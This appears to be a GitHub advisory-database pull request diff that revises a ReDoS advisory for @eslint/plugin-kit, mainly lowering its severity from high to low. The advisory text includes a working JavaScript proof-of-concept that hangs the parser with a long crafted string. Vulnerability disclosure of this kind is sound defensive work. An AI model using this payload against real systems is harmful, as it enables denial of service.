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[GHSA-7q7g-4xm8-89cq] Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit #5014

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Nov 18, 2024
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[GHSA-7q7g-4xm8-89cq] Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit #5014

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9 changes: 6 additions & 3 deletions advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json
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{
"schema_version": "1.4.0",
"id": "GHSA-7q7g-4xm8-89cq",
"modified": "2024-11-15T20:47:31Z",
"modified": "2024-11-15T20:47:32Z",
"published": "2024-11-15T20:47:31Z",
"aliases": [
"CVE-2024-21539"
],
"summary": "Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit",
"details": "Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```",
"severity": [

{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L"
}
],
"affected": [
{
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"cwe_ids": [
"CWE-1333"
],
"severity": "HIGH",
"severity": "LOW",
"github_reviewed": true,
"github_reviewed_at": "2024-11-15T20:47:31Z",
"nvd_published_at": null
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